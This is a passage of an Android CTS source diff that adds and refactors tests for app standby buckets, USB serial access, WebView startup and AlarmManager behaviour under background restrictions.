+ private static String getDensityBucketForDevice(ITestDevice device) {
final int density;
try {
density = getDensityForDevice(device);
@@ -250,6 +246,9 @@
case 160:
bucket = "mdpi";
break;
+ case 213:
+ bucket = "tvdpi";
+ break;
case 240:
bucket = "hdpi";
break;
diff --git a/hostsidetests/usage/src/android/app/usage/cts/AppIdleHostTest.java b/hostsidetests/usage/src/android/app/usage/cts/AppIdleHostTest.java
index 3cd7bda..7f4f550 100644
--- a/hostsidetests/usage/src/android/app/usage/cts/AppIdleHostTest.java
+++ b/hostsidetests/usage/src/android/app/usage/cts/AppIdleHostTest.java
@@ -16,10 +16,16 @@
package android.app.usage.cts;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotEquals;
+
import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceTestCase;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
public class AppIdleHostTest extends DeviceTestCase {
private static final String SETTINGS_APP_IDLE_CONSTANTS = "app_idle_constants";
@@ -28,6 +34,12 @@
private static final long ACTIVITY_LAUNCH_WAIT_MILLIS = 500;
+ private static final int SB_ACTIVE = 10;
+ private static final int SB_WORKING_SET = 20;
+ private static final int SB_FREQUENT = 30;
+ private static final int SB_RARE = 40;
+ private static final int SB_NEVER = 50;
+
/**
* A reference to the device under test.
*/
@@ -104,6 +116,47 @@
}
}
+ private void setAppStandbyBucket(String packageName, int bucket) throws Exception {
+ mDevice.executeShellCommand(
+ String.format("am set-standby-bucket %s %s", packageName, bucket));
+ }
+
+ private int getAppStandbyBucket(String packageName) throws Exception {
+ String bucketString = mDevice.executeShellCommand(
+ String.format("am get-standby-bucket %s", packageName));
+ System.err.println(bucketString);
+ try {
+ return Integer.parseInt(bucketString.trim());
+ } catch (NumberFormatException nfe) {
+ }
+ return -1;
+ }
+
+ public void testSetAppStandbyBucket() throws Exception {
+ // Set to ACTIVE
+ setAppStandbyBucket(TEST_APP_PACKAGE, SB_ACTIVE);
+ assertEquals(SB_ACTIVE, getAppStandbyBucket(TEST_APP_PACKAGE));
+ // set to WORKING_SET
+ setAppStandbyBucket(TEST_APP_PACKAGE, 20);
+ assertEquals(20, getAppStandbyBucket(TEST_APP_PACKAGE));
+ }
+
+ public void testCantSetOwnStandbyBucket() throws Exception {
+ setAppStandbyBucket("com.android.shell", 40);
+ assertNotEquals(40, getAppStandbyBucket("com.android.shell"));
+ }
+
+ public void testOutOfBoundsStandbyBucket() throws Exception {
+ setAppStandbyBucket(TEST_APP_PACKAGE, SB_ACTIVE);
+ assertEquals(SB_ACTIVE, getAppStandbyBucket(TEST_APP_PACKAGE));
+ // Try lower than min
+ setAppStandbyBucket(TEST_APP_PACKAGE, SB_ACTIVE - 1);
+ assertEquals(SB_ACTIVE, getAppStandbyBucket(TEST_APP_PACKAGE));
+ // Try higher than max
+ setAppStandbyBucket(TEST_APP_PACKAGE, 50 + 1);
+ assertEquals(SB_ACTIVE, getAppStandbyBucket(TEST_APP_PACKAGE));
+ }
+
private static void sleepUninterrupted(long timeMillis) {
boolean interrupted;
do {
diff --git a/hostsidetests/usb/SerialTestApp/AndroidManifest.xml b/hostsidetests/usb/SerialTestApp/AndroidManifest.xml
index a75dd75..7c627ee 100644
--- a/hostsidetests/usb/SerialTestApp/AndroidManifest.xml
+++ b/hostsidetests/usb/SerialTestApp/AndroidManifest.xml
@@ -17,6 +17,10 @@
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.android.cts.usb.serialtest">
+ <uses-sdk android:minSdkVersion="27" android:targetSdkVersion="28" />
+
+ <uses-permission android:name="android.permission.READ_PHONE_STATE" />
+
<application>
<uses-library android:name="android.test.runner" />
</application>
diff --git a/hostsidetests/usb/SerialTestApp/src/com/android/cts/usb/serialtest/UsbSerialTest.java b/hostsidetests/usb/SerialTestApp/src/com/android/cts/usb/serialtest/UsbSerialTest.java
index a2b0c72..f47c2d2 100644
--- a/hostsidetests/usb/SerialTestApp/src/com/android/cts/usb/serialtest/UsbSerialTest.java
+++ b/hostsidetests/usb/SerialTestApp/src/com/android/cts/usb/serialtest/UsbSerialTest.java
@@ -28,6 +28,6 @@
private static final String TAG = "CtsUsbSerialTest";
public void testSerial() throws Exception {
- Log.e(TAG, Build.SERIAL);
+ Log.e(TAG, Build.getSerial());
}
}
diff --git a/hostsidetests/usb/src/com/android/cts/usb/TestUsbTest.java b/hostsidetests/usb/src/com/android/cts/usb/TestUsbTest.java
index 81cc265..47efe85 100644
--- a/hostsidetests/usb/src/com/android/cts/usb/TestUsbTest.java
+++ b/hostsidetests/usb/src/com/android/cts/usb/TestUsbTest.java
@@ -65,7 +65,7 @@
CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mBuild);
File app = buildHelper.getTestFile(APK_NAME);
String[] options = {AbiUtils.createAbiFlag(mAbi.getName())};
- mDevice.installPackage(app, false, options);
+ mDevice.installPackage(app, false, true, options);
}
@Override
diff --git a/hostsidetests/webkit/src/com/android/cts/webkit/WebViewHostSideStartupTest.java b/hostsidetests/webkit/src/com/android/cts/webkit/WebViewHostSideStartupTest.java
index 53f4a49..5953c5d 100644
--- a/hostsidetests/webkit/src/com/android/cts/webkit/WebViewHostSideStartupTest.java
+++ b/hostsidetests/webkit/src/com/android/cts/webkit/WebViewHostSideStartupTest.java
@@ -17,12 +17,13 @@
import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
import com.android.ddmlib.testrunner.TestResult.TestStatus;
+import com.android.ddmlib.testrunner.TestResult;
import com.android.ddmlib.testrunner.TestRunResult;
import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.result.CollectingTestListener;
import com.android.tradefed.testtype.DeviceTestCase;
-import java.util.Map;
+import java.util.Collection;
public class WebViewHostSideStartupTest extends DeviceTestCase {
private static final String RUNNER = "android.support.test.runner.AndroidJUnitRunner";
@@ -35,26 +36,35 @@
}
public void testCookieManager() throws DeviceNotAvailableException {
- assertTrue(runDeviceTest(DEVICE_WEBVIEW_STARTUP_PKG, DEVICE_WEBVIEW_STARTUP_TEST_CLASS,
- "testCookieManagerBlockingUiThread"));
+ assertDeviceTestPasses("testCookieManagerBlockingUiThread");
}
public void testWebViewVersionApiOnUiThread() throws DeviceNotAvailableException {
- assertTrue(runDeviceTest(DEVICE_WEBVIEW_STARTUP_PKG, DEVICE_WEBVIEW_STARTUP_TEST_CLASS,
- "testGetCurrentWebViewPackageOnUiThread"));
+ assertDeviceTestPasses("testGetCurrentWebViewPackageOnUiThread");
}
public void testWebViewVersionApi() throws DeviceNotAvailableException {
- assertTrue(runDeviceTest(DEVICE_WEBVIEW_STARTUP_PKG, DEVICE_WEBVIEW_STARTUP_TEST_CLASS,
- "testGetCurrentWebViewPackage"));
+ assertDeviceTestPasses("testGetCurrentWebViewPackage");
}
public void testStrictMode() throws DeviceNotAvailableException {
- assertTrue(runDeviceTest(DEVICE_WEBVIEW_STARTUP_PKG, DEVICE_WEBVIEW_STARTUP_TEST_CLASS,
- "testStrictModeNotViolatedOnStartup"));
+ assertDeviceTestPasses("testStrictModeNotViolatedOnStartup");
}
- private boolean runDeviceTest(String packageName, String testClassName,
+ private void assertDeviceTestPasses(String testMethodName) throws DeviceNotAvailableException {
+ TestRunResult testRunResult = runSingleDeviceTest(DEVICE_WEBVIEW_STARTUP_PKG,
+ DEVICE_WEBVIEW_STARTUP_TEST_CLASS,
+ testMethodName);
+ assertTrue(testRunResult.isRunComplete());
+
+ Collection<TestResult> testResults = testRunResult.getTestResults().values();
+ // We're only running a single test.
+ assertEquals(1, testResults.size());
+ TestResult testResult = testResults.toArray(new TestResult[1])[0];
+ assertTrue(testResult.getStackTrace(), TestStatus.PASSED.equals(testResult.getStatus()));
+ }
+
+ private TestRunResult runSingleDeviceTest(String packageName, String testClassName,
String testMethodName) throws DeviceNotAvailableException {
testClassName = packageName + "." + testClassName;
@@ -65,7 +75,6 @@
CollectingTestListener listener = new CollectingTestListener();
assertTrue(getDevice().runInstrumentationTests(testRunner, listener));
- TestRunResult runResult = listener.getCurrentRunResults();
- return !runResult.hasFailedTests() && runResult.getNumTestsInState(TestStatus.PASSED) > 0;
+ return listener.getCurrentRunResults();
}
}
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/Android.mk b/tests/AlarmManager/Android.mk
old mode 100644
new mode 100755
similarity index 64%
copy from hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/Android.mk
copy to tests/AlarmManager/Android.mk
index 12a04ed..a1676ab
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/Android.mk
+++ b/tests/AlarmManager/Android.mk
@@ -1,4 +1,4 @@
-# Copyright (C) 2016 The Android Open Source Project
+# Copyright (C) 2017 The Android Open Source Project
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
@@ -17,15 +17,22 @@
include $(CLEAR_VARS)
# Don't include this package in any target.
-LOCAL_MODULE_TAGS := tests
+LOCAL_MODULE_TAGS := optional
+
+# When built, explicitly put it in the data partition.
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_STATIC_JAVA_LIBRARIES := ub-uiautomator android-support-test
LOCAL_SRC_FILES := $(call all-java-files-under, src)
+LOCAL_SRC_FILES += $(call all-java-files-under, app/src)
+
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_PACKAGE_NAME := CtsAlarmManagerTestCases
LOCAL_SDK_VERSION := current
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+include $(BUILD_CTS_PACKAGE)
-LOCAL_PACKAGE_NAME := CtsDragAndDropSourceApp
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
+include $(call all-makefiles-under, $(LOCAL_PATH))
diff --git a/tests/AlarmManager/AndroidManifest.xml b/tests/AlarmManager/AndroidManifest.xml
new file mode 100644
index 0000000..f557b51
--- /dev/null
+++ b/tests/AlarmManager/AndroidManifest.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.alarmmanager.cts" >
+
+ <application android:label="Cts Alarm Manager Test">
+ <uses-library android:name="android.test.runner"/>
+ </application>
+
+ <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:functionalTest="true"
+ android:targetPackage="android.alarmmanager.cts"
+ android:label="Alarm Manager Tests"/>
+</manifest>
diff --git a/tests/AlarmManager/AndroidTest.xml b/tests/AlarmManager/AndroidTest.xml
new file mode 100644
index 0000000..a31e6da
--- /dev/null
+++ b/tests/AlarmManager/AndroidTest.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<configuration description="Config for CTS Alarm Manager test cases">
+ <option name="config-descriptor:metadata" key="component" value="framework" />
+
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true" />
+ <option name="test-file-name" value="CtsAlarmManagerTestCases.apk" />
+ <option name="test-file-name" value="AlarmTestApp.apk" />
+ </target_preparer>
+
+ <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+ <option name="package" value="android.alarmmanager.cts" />
+ <option name="runtime-hint" value="1m" />
+ </test>
+
+</configuration>
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/Android.mk b/tests/AlarmManager/app/Android.mk
similarity index 78%
copy from hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/Android.mk
copy to tests/AlarmManager/app/Android.mk
index 12a04ed..b2023e9 100644
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/Android.mk
+++ b/tests/AlarmManager/app/Android.mk
@@ -1,4 +1,4 @@
-# Copyright (C) 2016 The Android Open Source Project
+# Copyright (C) 2017 The Android Open Source Project
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
@@ -16,16 +16,18 @@
include $(CLEAR_VARS)
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := tests
+LOCAL_MODULE_TAGS := optional
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
LOCAL_SDK_VERSION := current
-# Tag this module as a cts test artifact
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_PACKAGE_NAME := CtsDragAndDropSourceApp
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_PACKAGE_NAME := AlarmTestApp
+
+LOCAL_DEX_PREOPT := false
include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/appThirdUid/AndroidManifest.xml b/tests/AlarmManager/app/AndroidManifest.xml
similarity index 75%
copy from hostsidetests/services/activityandwindowmanager/activitymanager/appThirdUid/AndroidManifest.xml
copy to tests/AlarmManager/app/AndroidManifest.xml
index aed24c7..ceb8fb9 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/appThirdUid/AndroidManifest.xml
+++ b/tests/AlarmManager/app/AndroidManifest.xml
@@ -1,6 +1,5 @@
<?xml version="1.0" encoding="utf-8"?>
-<!--
- Copyright (C) 2017 The Android Open Source Project
+<!-- Copyright (C) 2017 The Android Open Source Project
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
@@ -16,13 +15,12 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.server.cts.third">
+ package="android.alarmmanager.alarmtestapp.cts">
<application>
- <activity android:name=".ThirdActivity"
- android:resizeableActivity="true"
- android:allowEmbedded="true"
+ <activity android:name=".TestAlarmActivity"
android:exported="true" />
+ <receiver android:name=".TestAlarmReceiver" />
</application>
-</manifest>
+</manifest>
\ No newline at end of file
diff --git a/tests/AlarmManager/app/src/android/alarmmanager/alarmtestapp/cts/TestAlarmActivity.java b/tests/AlarmManager/app/src/android/alarmmanager/alarmtestapp/cts/TestAlarmActivity.java
new file mode 100644
index 0000000..8f666dd8
--- /dev/null
+++ b/tests/AlarmManager/app/src/android/alarmmanager/alarmtestapp/cts/TestAlarmActivity.java
@@ -0,0 +1,90 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.alarmmanager.alarmtestapp.cts;
+
+import android.app.Activity;
+import android.app.AlarmManager;
+import android.app.PendingIntent;
+import android.content.Intent;
+import android.os.Bundle;
+import android.util.Log;
+
+/**
+ * This Activity is to be used as part of
+ * {@link android.alarmmanager.cts.BackgroundRestrictedAlarmsTest}
+ */
+public class TestAlarmActivity extends Activity {
+ private static final String TAG = TestAlarmActivity.class.getSimpleName();
+ private static final String PACKAGE_NAME = "android.alarmmanager.alarmtestapp.cts";
+
+ public static final String ACTION_SET_ALARM = PACKAGE_NAME + ".action.SET_ALARM";
+ public static final String EXTRA_TRIGGER_TIME = PACKAGE_NAME + ".extra.TRIGGER_TIME";
+ public static final String EXTRA_REPEAT_INTERVAL = PACKAGE_NAME + ".extra.REPEAT_INTERVAL";
+ public static final String EXTRA_TYPE = PACKAGE_NAME + ".extra.TYPE";
+ public static final String ACTION_SET_ALARM_CLOCK = PACKAGE_NAME + ".action.SET_ALARM_CLOCK";
+ public static final String EXTRA_ALARM_CLOCK_INFO = PACKAGE_NAME + ".extra.ALARM_CLOCK_INFO";
+ public static final String ACTION_CANCEL_ALL_ALARMS = PACKAGE_NAME + ".action.CANCEL_ALARMS";
+
+ @Override
+ public void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ final AlarmManager am = getSystemService(AlarmManager.class);
+ final Intent intent = getIntent();
+ final Intent receiverIntent = new Intent(this, TestAlarmReceiver.class);
+ receiverIntent.addFlags(Intent.FLAG_RECEIVER_FOREGROUND);
+ final PendingIntent alarmClockSender =
+ PendingIntent.getBroadcast(this, 0, receiverIntent, 0);
+ final PendingIntent alarmSender = PendingIntent.getBroadcast(this, 1, receiverIntent, 0);
+ switch (intent.getAction()) {
+ case ACTION_SET_ALARM_CLOCK:
+ if (!intent.hasExtra(EXTRA_ALARM_CLOCK_INFO)) {
+ Log.e(TAG, "No alarm clock supplied");
+ break;
+ }
+ final AlarmManager.AlarmClockInfo alarmClockInfo =
+ intent.getParcelableExtra(EXTRA_ALARM_CLOCK_INFO);
+ Log.d(TAG, "Setting alarm clock " + alarmClockInfo);
+ am.setAlarmClock(alarmClockInfo, alarmClockSender);
+ break;
+ case ACTION_SET_ALARM:
+ if (!intent.hasExtra(EXTRA_TYPE) || !intent.hasExtra(EXTRA_TRIGGER_TIME)) {
+ Log.e(TAG, "Alarm type or trigger time not supplied");
+ break;
+ }
+ final int type = intent.getIntExtra(EXTRA_TYPE, 0);
+ final long triggerTime = intent.getLongExtra(EXTRA_TRIGGER_TIME, 0);
+ final long interval = intent.getLongExtra(EXTRA_REPEAT_INTERVAL, 0);
+ Log.d(TAG, "Setting alarm: type=" + type + ", triggerTime=" + triggerTime
+ + ", interval=" + interval);
+ if (interval > 0) {
+ am.setRepeating(type, triggerTime, interval, alarmSender);
+ } else {
+ am.setExact(type, triggerTime, alarmSender);
+ }
+ break;
+ case ACTION_CANCEL_ALL_ALARMS:
+ Log.d(TAG, "Cancelling all alarms");
+ am.cancel(alarmClockSender);
+ am.cancel(alarmSender);
+ break;
+ default:
+ Log.e(TAG, "Unspecified action " + intent.getAction());
+ break;
+ }
+ finish();
+ }
+}
\ No newline at end of file
diff --git a/tests/AlarmManager/app/src/android/alarmmanager/alarmtestapp/cts/TestAlarmReceiver.java b/tests/AlarmManager/app/src/android/alarmmanager/alarmtestapp/cts/TestAlarmReceiver.java
new file mode 100644
index 0000000..a083e08
--- /dev/null
+++ b/tests/AlarmManager/app/src/android/alarmmanager/alarmtestapp/cts/TestAlarmReceiver.java
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.alarmmanager.alarmtestapp.cts;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.util.Log;
+
+public class TestAlarmReceiver extends BroadcastReceiver{
+ private static final String TAG = TestAlarmReceiver.class.getSimpleName();
+ private static final String PACKAGE_NAME = "android.alarmmanager.alarmtestapp.cts";
+ public static final String ACTION_REPORT_ALARM_EXPIRED = PACKAGE_NAME + ".action.ALARM_EXPIRED";
+ public static final String EXTRA_ALARM_COUNT = PACKAGE_NAME + ".extra.ALARM_COUNT";
+
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ final int count = intent.getIntExtra(Intent.EXTRA_ALARM_COUNT, 1);
+ Log.d(TAG, "Alarm expired " + count + " times");
+ final Intent reportAlarmIntent = new Intent(ACTION_REPORT_ALARM_EXPIRED);
+ reportAlarmIntent.putExtra(EXTRA_ALARM_COUNT, count);
+ reportAlarmIntent.addFlags(Intent.FLAG_RECEIVER_REGISTERED_ONLY);
+ context.sendBroadcast(reportAlarmIntent);
+ }
+}
diff --git a/tests/AlarmManager/src/android/alarmmanager/cts/BackgroundRestrictedAlarmsTest.java b/tests/AlarmManager/src/android/alarmmanager/cts/BackgroundRestrictedAlarmsTest.java
new file mode 100644
index 0000000..2b37bfd
--- /dev/null
+++ b/tests/AlarmManager/src/android/alarmmanager/cts/BackgroundRestrictedAlarmsTest.java
@@ -0,0 +1,196 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.alarmmanager.cts;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import android.alarmmanager.alarmtestapp.cts.TestAlarmActivity;
+import android.alarmmanager.alarmtestapp.cts.TestAlarmReceiver;
+import android.app.AlarmManager;
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.SystemClock;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.LargeTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.support.test.uiautomator.UiDevice;
+import android.util.Log;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.IOException;
+
+@LargeTest
+@RunWith(AndroidJUnit4.class)
+public class BackgroundRestrictedAlarmsTest {
+ private static final String TAG = BackgroundRestrictedAlarmsTest.class.getSimpleName();
+ private static final String TEST_APP_PACKAGE = "android.alarmmanager.alarmtestapp.cts";
+ private static final String TEST_APP_ACTIVITY = TEST_APP_PACKAGE + ".TestAlarmActivity";
+ private static final String APP_OP_RUN_ANY_IN_BACKGROUND = "RUN_ANY_IN_BACKGROUND";
+ private static final String APP_OP_MODE_ALLOWED = "allow";
+ private static final String APP_OP_MODE_IGNORED = "ignore";
+
+ private static final long DEFAULT_WAIT = 1_000;
+ private static final long POLL_INTERVAL = 1_000;
+ private static final long MIN_REPEATING_INTERVAL = 10_000;
+
+ private Object mLock = new Object();
+ private Context mContext;
+ private ComponentName mAlarmActivity;
+ private UiDevice mUiDevice;
+ private int mAlarmCount;
+
+ private final BroadcastReceiver mAlarmStateReceiver = new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ Log.d(TAG, "Received action " + intent.getAction()
+ + " elapsed: " + SystemClock.elapsedRealtime());
+ synchronized (mLock) {
+ mAlarmCount = intent.getIntExtra(TestAlarmReceiver.EXTRA_ALARM_COUNT, 1);
+ }
+ }
+ };
+
+ @Before
+ public void setUp() throws Exception {
+ mContext = InstrumentationRegistry.getTargetContext();
+ mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+ mAlarmActivity = new ComponentName(TEST_APP_PACKAGE, TEST_APP_ACTIVITY);
+ mAlarmCount = 0;
+ updateAlarmManagerConstants();
+ setAppOpsMode(APP_OP_MODE_IGNORED);
+ final IntentFilter intentFilter = new IntentFilter();
+ intentFilter.addAction(TestAlarmReceiver.ACTION_REPORT_ALARM_EXPIRED);
+ mContext.registerReceiver(mAlarmStateReceiver, intentFilter);
+ }
+
+ private void scheduleAlarm(int type, long triggerMillis, long interval) {
+ final Intent setAlarmIntent = new Intent(TestAlarmActivity.ACTION_SET_ALARM);
+ setAlarmIntent.setComponent(mAlarmActivity);
+ setAlarmIntent.putExtra(TestAlarmActivity.EXTRA_TYPE, type);
+ setAlarmIntent.putExtra(TestAlarmActivity.EXTRA_TRIGGER_TIME, triggerMillis);
+ setAlarmIntent.putExtra(TestAlarmActivity.EXTRA_REPEAT_INTERVAL, interval);
+ setAlarmIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ mContext.startActivity(setAlarmIntent);
+ }
+
+ private void scheduleAlarmClock(long triggerRTC) {
+ AlarmManager.AlarmClockInfo alarmInfo = new AlarmManager.AlarmClockInfo(triggerRTC, null);
+
+ final Intent setAlarmClockIntent = new Intent(TestAlarmActivity.ACTION_SET_ALARM_CLOCK);
+ setAlarmClockIntent.setComponent(mAlarmActivity);
+ setAlarmClockIntent.putExtra(TestAlarmActivity.EXTRA_ALARM_CLOCK_INFO, alarmInfo);
+ setAlarmClockIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ mContext.startActivity(setAlarmClockIntent);
+ }
+
+ private static int getMinExpectedExpirations(long now, long start, long interval) {
+ if (now - start <= 1000) {
+ return 0;
+ }
+ return 1 + (int)((now - start - 1000)/interval);
+ }
+
+ @Test
+ public void testRepeatingAlarmBlocked() throws Exception {
+ final long interval = MIN_REPEATING_INTERVAL;
+ final long triggerElapsed = SystemClock.elapsedRealtime() + interval;
+ scheduleAlarm(AlarmManager.ELAPSED_REALTIME_WAKEUP, triggerElapsed, interval);
+ Thread.sleep(DEFAULT_WAIT);
+ makeTestPackageIdle();
+ Thread.sleep(2 * interval);
+ assertFalse("Alarm got triggered even under restrictions", waitForAlarms(1, DEFAULT_WAIT));
+ Thread.sleep(interval);
+ setAppOpsMode(APP_OP_MODE_ALLOWED);
+ // The alarm is due to go off about 3 times by now. Adding some tolerance just in case
+ // an expiration is due right about now.
+ final int minCount = getMinExpectedExpirations(SystemClock.elapsedRealtime(),
+ triggerElapsed, interval);
+ assertTrue("Alarm should have expired at least " + minCount
+ + " times when restrictions were lifted", waitForAlarms(minCount, DEFAULT_WAIT));
+ }
+
+ @Test
+ public void testAlarmClockNotBlocked() throws Exception {
+ final long nowRTC = System.currentTimeMillis();
+ final long waitInterval = 10_000;
+ final long triggerRTC = nowRTC + waitInterval;
+ scheduleAlarmClock(triggerRTC);
+ Thread.sleep(waitInterval);
+ assertTrue("AlarmClock did not go off as scheduled when under restrictions",
+ waitForAlarms(1, DEFAULT_WAIT));
+ }
+
+ @After
+ public void tearDown() throws Exception {
+ deleteAlarmManagerConstants();
+ setAppOpsMode(APP_OP_MODE_ALLOWED);
+ // Cancel any leftover alarms
+ final Intent cancelAlarmsIntent = new Intent(TestAlarmActivity.ACTION_CANCEL_ALL_ALARMS);
+ cancelAlarmsIntent.setComponent(mAlarmActivity);
+ cancelAlarmsIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ mContext.startActivity(cancelAlarmsIntent);
+ mContext.unregisterReceiver(mAlarmStateReceiver);
+ // Broadcast unregister may race with the next register in setUp
+ Thread.sleep(DEFAULT_WAIT);
+ }
+
+ private void updateAlarmManagerConstants() throws IOException {
+ String cmd = "settings put global alarm_manager_constants min_interval="
+ + MIN_REPEATING_INTERVAL;
+ mUiDevice.executeShellCommand(cmd);
+ }
+
+ private void deleteAlarmManagerConstants() throws IOException {
+ mUiDevice.executeShellCommand("settings delete global alarm_manager_constants");
+ }
+
+ private void setAppOpsMode(String mode) throws IOException {
+ StringBuilder commandBuilder = new StringBuilder("appops set ")
+ .append(TEST_APP_PACKAGE)
+ .append(" ")
+ .append(APP_OP_RUN_ANY_IN_BACKGROUND)
+ .append(" ")
+ .append(mode);
+ mUiDevice.executeShellCommand(commandBuilder.toString());
+ }
+
+ private void makeTestPackageIdle() throws IOException {
+ StringBuilder commandBuilder = new StringBuilder("am make-uid-idle --user current ")
+ .append(TEST_APP_PACKAGE);
+ mUiDevice.executeShellCommand(commandBuilder.toString());
+ }
+
+ private boolean waitForAlarms(int expectedAlarms, long timeout) throws InterruptedException {
+ final long deadLine = SystemClock.uptimeMillis() + timeout;
+ int alarmCount;
+ do {
+ Thread.sleep(POLL_INTERVAL);
+ synchronized (mLock) {
+ alarmCount = mAlarmCount;
+ }
+ } while (alarmCount < expectedAlarms && SystemClock.uptimeMillis() < deadLine);
+ return alarmCount >= expectedAlarms;
+ }
+}
diff --git a/tests/JobScheduler/Android.mk b/tests/JobScheduler/Android.mk
index e58a494..be74d32 100755
--- a/tests/JobScheduler/Android.mk
+++ b/tests/JobScheduler/Android.mk
@@ -22,9 +22,10 @@
# When built, explicitly put it in the data partition.
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner ub-uiautomator
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ub-uiautomator android-support-test
LOCAL_SRC_FILES := $(call all-java-files-under, src)
+LOCAL_SRC_FILES += $(call all-java-files-under, JobTestApp/src)
# Tag this module as a cts test artifact
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
@@ -32,7 +33,7 @@
# Must match the package name in CtsTestCaseList.mk
LOCAL_PACKAGE_NAME := CtsJobSchedulerTestCases
-LOCAL_SDK_VERSION := current
